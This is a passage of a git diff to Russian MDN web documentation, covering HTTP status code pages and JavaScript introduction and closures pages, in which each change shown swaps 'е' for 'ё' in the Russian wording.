<div>{{HTTPSidebar}}</div> -<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определенного {{HTTPHeader("Content-Length")}}. </p> +<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определённого {{HTTPHeader("Content-Length")}}. </p> <p>Обратите внимание, что по спецификации при отправке данных в ряд фрагментов<strong> Content-Length</strong> опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.</p> diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html index a3b7883952..8aa82d8d03 100644 --- a/files/ru/web/http/status/412/index.html +++ b/files/ru/web/http/status/412/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/412 --- <div>{{HTTPSidebar}}</div> -<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p> +<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонён. Это происходит с условными запросами на методы, отличные от {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html index e0383192a9..a74302c9cd 100644 --- a/files/ru/web/http/status/413/index.html +++ b/files/ru/web/http/status/413/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/413 --- <div>{{HTTPSidebar}}</div> -<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p> +<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определённые сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html index d7035dfb3f..ae3c93df73 100644 --- a/files/ru/web/http/status/416/index.html +++ b/files/ru/web/http/status/416/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/416 <p>Код ошибки HTTP <strong>416 Range Not Satisfiable</strong> указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.</p> -<p>Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p> +<p>Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворённый диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p> <p>Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.</p> diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html index 179d9cb1e2..10f524c77e 100644 --- a/files/ru/web/http/status/425/index.html +++ b/files/ru/web/http/status/425/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Status/425 --- <div>{{SeeCompatTable}}{{HTTPSidebar}}</div> -<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.</p> +<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведённым, поскольку это открывает возможность для атаки повторного воспроизведения.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html index bfec2e5cc5..ce6c8a0110 100644 --- a/files/ru/web/http/status/429/index.html +++ b/files/ru/web/http/status/429/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/429 <p>HTTP <code><strong>429 Too Many Requests</strong></code> код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).</p> -<p>В этот ответ может быть включен {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p> +<p>В этот ответ может быть включён {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html index 691fb74671..02f4032c02 100644 --- a/files/ru/web/http/status/431/index.html +++ b/files/ru/web/http/status/431/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/431 <p>Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.</p> -<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.</p> +<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но её можно найти чаще при тестировании новой системы.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html index 426cde0317..5c5336f84d 100644 --- a/files/ru/web/http/status/451/index.html +++ b/files/ru/web/http/status/451/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/451 <h2 id="Пример">Пример</h2> -<p>Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p> +<p>Этот пример ответа берётся из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p> <p>Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a <code>rel="blocked-by"</code>, идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.</p> diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html index 0e64be8339..2e77fa5c00 100644 --- a/files/ru/web/http/status/500/index.html +++ b/files/ru/web/http/status/500/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTTP/Status/500 <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p> +<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создаётся из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p> <p>{{Compat("http.status.500")}}</p> diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html index de17af10eb..55cbc8cc62 100644 --- a/files/ru/web/http/status/511/index.html +++ b/files/ru/web/http/status/511/index.html @@ -7,9 +7,9 @@ translation_of: Web/HTTP/Status/511 <p>The HTTP <code><strong>511 Network Authentication Required</strong></code> код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.</p> -<p>Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.</p> +<p>Этот статус не генерируется серверами происхождения, а путём перехвата прокси-серверов, которые контролируют доступ к сети.</p> -<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес Media Access Control ({{Glossary("MAC")}}).</p> +<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые ещё не сделали этого, используя свой адрес Media Access Control ({{Glossary("MAC")}}).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html index 38b076f287..4b8b0ffd4b 100644 --- a/files/ru/web/http/status/index.html +++ b/files/ru/web/http/status/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Status <tr> <td>102</td> <td>Processing</td> - <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.</td> + <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка ещё не завершена.</td> <td>Только HTTP/1.1</td> </tr> <tr> @@ -135,7 +135,7 @@ translation_of: Web/HTTP/Status <td id="301">301</td> <td>Moved Permanently</td> <td> - <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменен</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p> + <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменён</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p> </td> <td>HTTP/0.9 and later</td> </tr> @@ -143,7 +143,7 @@ translation_of: Web/HTTP/Status <td id="302">302</td> <td>Found</td> <td> - <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменен</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p> + <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменён</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p> </td> <td>HTTP/0.9 and later</td> </tr> @@ -156,7 +156,7 @@ translation_of: Web/HTTP/Status <tr> <td id="304">304</td> <td>Not Modified</td> - <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td> + <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменён. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td> <td>HTTP/0.9 and later</td> </tr> <tr> @@ -205,7 +205,7 @@ translation_of: Web/HTTP/Status <tr> <td id="402">402</td> <td>Payment Required</td> - <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).</td> + <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платёжных систем(на данный момент не используется).</td> <td>HTTP/0.9 and 1.1</td> </tr> <tr> @@ -223,14 +223,14 @@ translation_of: Web/HTTP/Status <tr> <td id="405">405</td> <td>Method Not Allowed</td> - <td>"Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода, <code>GET</code> и <code>HEAD</code>, никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td> + <td>"Метод не разрешён". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода, <code>GET</code> и <code>HEAD</code>, никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td> <td>HTTP/1.1 only</td> </tr> <tr> <td id="406">406</td> <td>Not Acceptable</td> <td> - <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашел контента, отвечающего критериям, полученным из user agent.</p> + <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашёл контента, отвечающего критериям, полученным из user agent.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -243,7 +243,7 @@ translation_of: Web/HTTP/Status <tr> <td id="408">408</td> <td>Request Timeout</td> - <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения серфинга (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td> + <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения сёрфинга (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td> <td>HTTP/1.1 only</td> </tr> <tr> @@ -258,7 +258,7 @@ translation_of: Web/HTTP/Status <td id="410">410</td> <td>Gone</td> <td> - <p>Этот ответ отсылается, когда запрашиваемый контент удален с сервера.</p> + <p>Этот ответ отсылается, когда запрашиваемый контент удалён с сервера.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -266,7 +266,7 @@ translation_of: Web/HTTP/Status <td id="411">411</td> <td>Length Required</td> <td> - <p>Запрос отклонен, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p> + <p>Запрос отклонён, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -293,7 +293,7 @@ translation_of: Web/HTTP/Status <tr> <td id="415">415</td> <td>Unsupported Media Type</td> - <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен</td> + <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонён</td> <td>HTTP/1.1 only</td> </tr> <tr> diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html index 268fc9985d..01888a792b 100644 --- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html +++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>Было бы полезно начать с истории языка. JavaScript был создан в 1995 Бренданом Айком, инженером в компании Netscape. Первый релиз состоялся вместе с выходом браузера Netscape 2 в начале 1996 года. Сначала язык назывался LiveScript, но затем был переименован в связи с маркетинговыми целями, чтобы сыграть на популярности языка Java компании Sun Microsystem — несмотря на это языки практически не имеют ничего общего друг с другом. Так было положено начало путаницы между этими языками.</p> -<p>Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в <a href="http://www.ecma-international.org/">Ecma International</a>, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> в 1997. Стандарт получил значимое обновление в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> в 1999, и остается самым стабильным до сегодняшнего дня. Четвертая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвертого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).</p> +<p>Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в <a href="http://www.ecma-international.org/">Ecma International</a>, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> в 1997. Стандарт получил значимое обновление в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> в 1999, и остаётся самым стабильным до сегодняшнего дня. Четвёртая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвёртого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).</p> <div class="note"> <p><strong>На заметку</strong>: Далее по тексту мы будем называть язык ECMAScript как "JavaScript".</p> @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>JavaScript является объектно-ориентированным языком, имеющий типы и операторы, встроенные объекты и методы. Его синтаксис происходит от языков Java и C, поэтому много конструкций из этих языков применимы и к JavaScript. Одним из ключевых отличий JavaScript является отсутствие классов, вместо этого функциональность классов осуществляется прототипами объектов (смотрите ES6 {{jsxref("Classes")}}) . Другое главное отличие в том, что функции это объекты, в которых содержится исполняемый код и которые могут быть переданы куда-либо, как и любой другой объект.</p> -<p>Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определенному типу. Типы данных в JavaScript:</p> +<p>Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определённому типу. Типы данных в JavaScript:</p> <ul> <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Number">Числа</a></li> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Символы</a> (новый тип из шестой редакции)</li> </ul> -<p>Да, еще <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, которые немного обособлены. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Массивы</a>, которые являются особым видом объектов. А также <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Даты</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Регулярные выражения</a>, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:</p> +<p>Да, ещё <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, которые немного обособлены. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Массивы</a>, которые являются особым видом объектов. А также <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Даты</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Регулярные выражения</a>, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:</p> <ul> <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number">Числа</a></li> @@ -589,7 +589,7 @@ avg(2, 3, 4, 5); // 3.5</pre> <div class="blockIndicator note"> <p>В вышенаписанном коде переменная <strong>args</strong> содержит все значения, которые были переданы в функцию.<br> <br> - Важно отметить, что где бы ни был размещен <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это еще одно полезное свойство языка, однако оно ведет нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделенный запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> + Важно отметить, что где бы ни был размещён <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> </div> <pre class="brush: js notranslate">function avgArray(arr) { diff --git a/files/ru/web/javascript/about_javascript/index.html b/files/ru/web/javascript/about_javascript/index.html index 12ec0deb4f..830f267719 100644 --- a/files/ru/web/javascript/about_javascript/index.html +++ b/files/ru/web/javascript/about_javascript/index.html @@ -18,9 +18,9 @@ original_slug: Web/JavaScript/О_JavaScript <p>JavaScript запускается на стороне клиента Интернета, который может использоваться для создания/программирования того, как веб-страницы будут вести себя при наступлении каких-либо событий. JavaScript легко изучить, а также это мощный скриптовый язык, широко используемый для контролирования поведения веб-страниц.</p> -<p>Вопреки распространенному мнению, <strong>JavaScript <em>не</em> является "интерпретируемым Java"</strong>. В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">прототипное</a> создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> похожи на конструкции этих языков.</p> +<p>Вопреки распространённому мнению, <strong>JavaScript <em>не</em> является "интерпретируемым Java"</strong>. В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">прототипное</a> создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> похожи на конструкции этих языков.</p> -<p>JavaScript может функционировать и как <a href="https://ru.wikipedia.org/wiki/Процедурное_программирование">процедурный</a>, и как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">объектно-ориентированный</a> язык. Объекты можно создавать программно во время выполнения, путем присоединения методов и свойств или пустых объектов <strong>во время выполнения</strong>, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.</p> +<p>JavaScript может функционировать и как <a href="https://ru.wikipedia.org/wiki/Процедурное_программирование">процедурный</a>, и как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">объектно-ориентированный</a> язык. Объекты можно создавать программно во время выполнения, путём присоединения методов и свойств или пустых объектов <strong>во время выполнения</strong>, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.</p> <p>Динамические возможности JavaScript включают: создание объектов во время выполнения, переменное число параметров, динамическое создание скриптов (с помощью <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code>), перебор объектов (с помощью <code>for ... in</code>), восстановление исходного кода (программы на JavaScript могут декомпилировать тела функций обратно в исходный код).</p> @@ -32,7 +32,7 @@ original_slug: Web/JavaScript/О_JavaScript <p>Несколько оптимизаций, таких как TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) и IonMonkey, добавили в SpiderMonkey со временем. Работа всегда продолжается, чтобы улучшить производительность выполнения JavaScript.</p> -<p>Кроме вышеприведенных существуют и другие популярные реализации:</p> +<p>Кроме вышеприведённых существуют и другие популярные реализации:</p> <ul> <li><a href="https://code.google.com/p/v8/">V8</a> от Google, используемый в браузерах Google Chrome и последних версиях Opera. Также используется в <a href="http://nodejs.org/">Node.js</a>.</li> @@ -41,7 +41,7 @@ original_slug: Web/JavaScript/О_JavaScript <li><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> используется в Internet Explorer (язык, который реализует данный движок, называется JScript, чтобы избежать проблем с авторскими правами).</li> </ul> -<p>Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространенной средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания <strong>объектов среды</strong>, отражающих <a href="http://www.w3.org/DOM/">DOM</a> в JavaScript.</p> +<p>Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространённой средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания <strong>объектов среды</strong>, отражающих <a href="http://www.w3.org/DOM/">DOM</a> в JavaScript.</p> <p>JavaScript также применяется как скриптовый язык на стороне сервера. JavaScript сервер предоставляет объекты среды, представляющие объекты HTTP запросов и ответов, которые могут быть использованы программой на JavaScript для динамической генерации веб-страниц. Популярным примером является <a href="http://nodejs.org/">Node.js</a>.</p> diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html index 0aaebde058..dde1d17511 100644 --- a/files/ru/web/javascript/closures/index.html +++ b/files/ru/web/javascript/closures/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Closures --- <p>{{jsSidebar("Intermediate")}}</p> -<p class="summary">Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание дает вам доступ к <a href="/ru/docs/Glossary/Scope">Scope</a> внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время ее создания.</p> +<p class="summary">Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание даёт вам доступ к <a href="/ru/docs/Glossary/Scope">Scope</a> внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время её создания.</p> <h2 id="Лексическая_область_видимости" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Лексическая область видимости</h2> @@ -51,7 +51,7 @@ myFunc(); <p>На первый взгляд, кажется неочевидным, что этот код правильный, но он работает. В некоторых языках программирования локальные переменные-функции существуют только во время выполнения этой функции. После завершения выполнения <code>makeFunc()</code> можно ожидать, что переменная <em>name</em> больше не будет доступна. Однако, поскольку код продолжает нормально работать, очевидно, что это не так в случае JavaScript.</p> -<p>Причина в том, что функции в JavaScript формируют так называемые <em>замыкания</em>. <em>Замыкание </em>— это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере <code>myFunc</code> — это ссылка на экземпляр функции <code>displayName</code>, созданной в результате выполнения <code>makeFunc</code>. Экземпляр функции <code>displayName</code> в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная <code>name</code>. По этой причине, когда происходит вызов функции <code>myFunc</code>, переменная <code>name</code> остаётся доступной для использования и сохраненный в ней текст "Mozilla" передаётся в <code>alert</code>.</p> +<p>Причина в том, что функции в JavaScript формируют так называемые <em>замыкания</em>. <em>Замыкание </em>— это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере <code>myFunc</code> — это ссылка на экземпляр функции <code>displayName</code>, созданной в результате выполнения <code>makeFunc</code>. Экземпляр функции <code>displayName</code> в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная <code>name</code>. По этой причине, когда происходит вызов функции <code>myFunc</code>, переменная <code>name</code> 